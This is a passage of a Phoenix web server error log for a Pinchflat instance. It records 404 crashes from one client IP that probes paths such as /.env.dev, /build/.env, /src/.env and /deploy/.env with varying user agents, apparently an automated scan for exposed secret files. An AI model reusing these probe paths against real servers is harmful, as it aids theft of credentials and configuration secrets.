(PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138982.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.dev", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46098}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br, zstd", "accept-language" => "de-DE,de;q=0.9,en-US;q=0.8", "host" => "pinchflat.ocaff.com", "sec-ch-ua" => "\"Chromium\";v=\"133\", \"Not_A Brand\";v=\"24\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Windows\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.138987.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 1, 3, 15}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate, br, zstd"}, {"accept-language", "de-DE,de;q=0.9,en-US;q=0.8"}, {"host", "pinchflat.ocaff.com"}, {"sec-ch-ua", "\"Chromium\";v=\"133\", \"Not_A Brand\";v=\"24\""}, {"sec-ch-ua-mobile", "?0"}, {"sec-ch-ua-platform", "\"Windows\""}, {"sec-fetch-dest", "document"}, {"sec-fetch-mode", "navigate"}, {"sec-fetch-site", "none"}, {"sec-fetch-user", "?1"}, {"upgrade-insecure-requests", "1"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36"}, {"x-forwarded-for", "45.88.138.44"}, {"x-forwarded-host", "pinchflat.ocaff.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "387f7f7a12c7"}, {"x-real-ip", "45.88.138.44"} ], request_path: "/.env.dev", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GLXUxN3Y7Do6ENIADZrB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138982.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.dev", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46098}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br, zstd", "accept-language" => "de-DE,de;q=0.9,en-US;q=0.8", "host" => "pinchflat.ocaff.com", "sec-ch-ua" => "\"Chromium\";v=\"133\", \"Not_A Brand\";v=\"24\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Windows\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138982.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.dev", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46098}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br, zstd", "accept-language" => "de-DE,de;q=0.9,en-US;q=0.8", "host" => "pinchflat.ocaff.com", "sec-ch-ua" => "\"Chromium\";v=\"133\", \"Not_A Brand\";v=\"24\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Windows\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec (truncated) 04:52:49.705 [error] #PID<0.139008.0> running PinchflatWeb.Endpoint (connection #PID<0.139002.0>, stream id 1) terminated Server: pinchflat.ocaff.com:80 (http) Request: GET /build/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /build/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139002.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/build/.env", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46196}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-GB,en;q=0.5", "host" => "pinchflat.ocaff.com", "sec-ch-ua" => "\"Chromium\";v=\"124\", \"Not_A Brand\";v=\"8\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Linux\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "cross-site", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.139008.0>, params: %{}, path_info: ["build", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 1, 3, 15}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "en-GB,en;q=0.5"}, {"host", "pinchflat.ocaff.com"}, {"sec-ch-ua", "\"Chromium\";v=\"124\", \"Not_A Brand\";v=\"8\""}, {"sec-ch-ua-mobile", "?0"}, {"sec-ch-ua-platform", "\"Linux\""}, {"sec-fetch-dest", "document"}, {"sec-fetch-mode", "navigate"}, {"sec-fetch-site", "cross-site"}, {"upgrade-insecure-requests", "1"}, {"user-agent", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "45.88.138.44"}, {"x-forwarded-host", "pinchflat.ocaff.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "387f7f7a12c7"}, {"x-real-ip", "45.88.138.44"} ], request_path: "/build/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GLXUxN4uDlsjR4gAACql"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139002.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/build/.env", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46196}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-GB,en;q=0.5", "host" => "pinchflat.ocaff.com", "sec-ch-ua" => "\"Chromium\";v=\"124\", \"Not_A Brand\";v=\"8\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Linux\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "cross-site", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /build/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139002.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/build/.env", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46196}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-GB,en;q=0.5", "host" => "pinchflat.ocaff.com", "sec-ch-ua" => "\"Chromium\";v=\"124\", \"Not_A Brand\";v=\"8\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Linux\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "cross-site", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", (truncated) 04:52:49.705 [error] #PID<0.139003.0> running PinchflatWeb.Endpoint (connection #PID<0.139001.0>, stream id 1) terminated Server: pinchflat.ocaff.com:80 (http) Request: GET /src/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /src/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139001.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/src/.env", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46194}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "cache-control" => "max-age=0", "host" => "pinchflat.ocaff.com", "sec-ch-ua" => "\"Chromium\";v=\"131\", \"Not_A Brand\";v=\"24\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Windows\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "cross-site", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.139003.0>, params: %{}, path_info: ["src", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 1, 3, 15}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "en-US,en;q=0.9"}, {"cache-control", "max-age=0"}, {"host", "pinchflat.ocaff.com"}, {"sec-ch-ua", "\"Chromium\";v=\"131\", \"Not_A Brand\";v=\"24\""}, {"sec-ch-ua-mobile", "?0"}, {"sec-ch-ua-platform", "\"Windows\""}, {"sec-fetch-dest", "document"}, {"sec-fetch-mode", "navigate"}, {"sec-fetch-site", "cross-site"}, {"sec-fetch-user", "?1"}, {"upgrade-insecure-requests", "1"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "45.88.138.44"}, {"x-forwarded-host", "pinchflat.ocaff.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "387f7f7a12c7"}, {"x-real-ip", "45.88.138.44"} ], request_path: "/src/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GLXUxN4CO5oNdBUADCii"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139001.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/src/.env", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46194}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "cache-control" => "max-age=0", "host" => "pinchflat.ocaff.com", "sec-ch-ua" => "\"Chromium\";v=\"131\", \"Not_A Brand\";v=\"24\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Windows\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "cross-site", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /src/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139001.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/src/.env", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46194}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "cache-control" => "max-age=0", "host" => "pinchflat.ocaff.com", "sec-ch-ua" => "\"Chromium\";v=\"131\", \"Not_A Brand\";v=\"24\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Windo (truncated) 04:52:49.706 [error] #PID<0.139007.0> running PinchflatWeb.Endpoint (connection #PID<0.139005.0>, stream id 1) terminated Server: pinchflat.ocaff.com:80 (http) Request: GET /services/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /services/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139005.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/services/.env", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46200}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br, zstd", "accept-language" => "de-DE,de;q=0.9,en-US;q=0.8", "host" => "pinchflat.ocaff.com", "sec-ch-ua" => "\"Chromium\";v=\"133\", \"Not_A Brand\";v=\"24\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Windows\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.139007.0>, params: %{}, path_info: ["services", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 1, 3, 15}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate, br, zstd"}, {"accept-language", "de-DE,de;q=0.9,en-US;q=0.8"}, {"host", "pinchflat.ocaff.com"}, {"sec-ch-ua", "\"Chromium\";v=\"133\", \"Not_A Brand\";v=\"24\""}, {"sec-ch-ua-mobile", "?0"}, {"sec-ch-ua-platform", "\"Windows\""}, {"sec-fetch-dest", "document"}, {"sec-fetch-mode", "navigate"}, {"sec-fetch-site", "none"}, {"sec-fetch-user", "?1"}, {"upgrade-insecure-requests", "1"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36"}, {"x-forwarded-for", "45.88.138.44"}, {"x-forwarded-host", "pinchflat.ocaff.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "387f7f7a12c7"}, {"x-real-ip", "45.88.138.44"} ], request_path: "/services/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GLXUxN4PjhTJgloADZsh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139005.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/services/.env", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46200}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br, zstd", "accept-language" => "de-DE,de;q=0.9,en-US;q=0.8", "host" => "pinchflat.ocaff.com", "sec-ch-ua" => "\"Chromium\";v=\"133\", \"Not_A Brand\";v=\"24\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Windows\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /services/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139005.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/services/.env", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46200}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br, zstd", "accept-language" => "de-DE,de;q=0.9,en-US;q=0.8", "host" => "pinchflat.ocaff.com", "sec-ch-ua" => "\"Chromium\";v=\"133\", \"Not_A Brand\";v=\"24\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Windows\"", "sec-fetch-dest" => "document", "sec-fet (truncated) 04:52:49.710 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 04:52:49.705 [error] #PID<0.139006.0> running PinchflatWeb.Endpoint (connection #PID<0.139004.0>, stream id 1) terminated Server: pinchflat.ocaff.com:80 (http) Request: GET /deploy/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /deploy/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139004.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/deploy/.env", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46204}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Mobile/15E148 Safari/604.1", "x-forwarded-for" => "45.88.138.44", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, 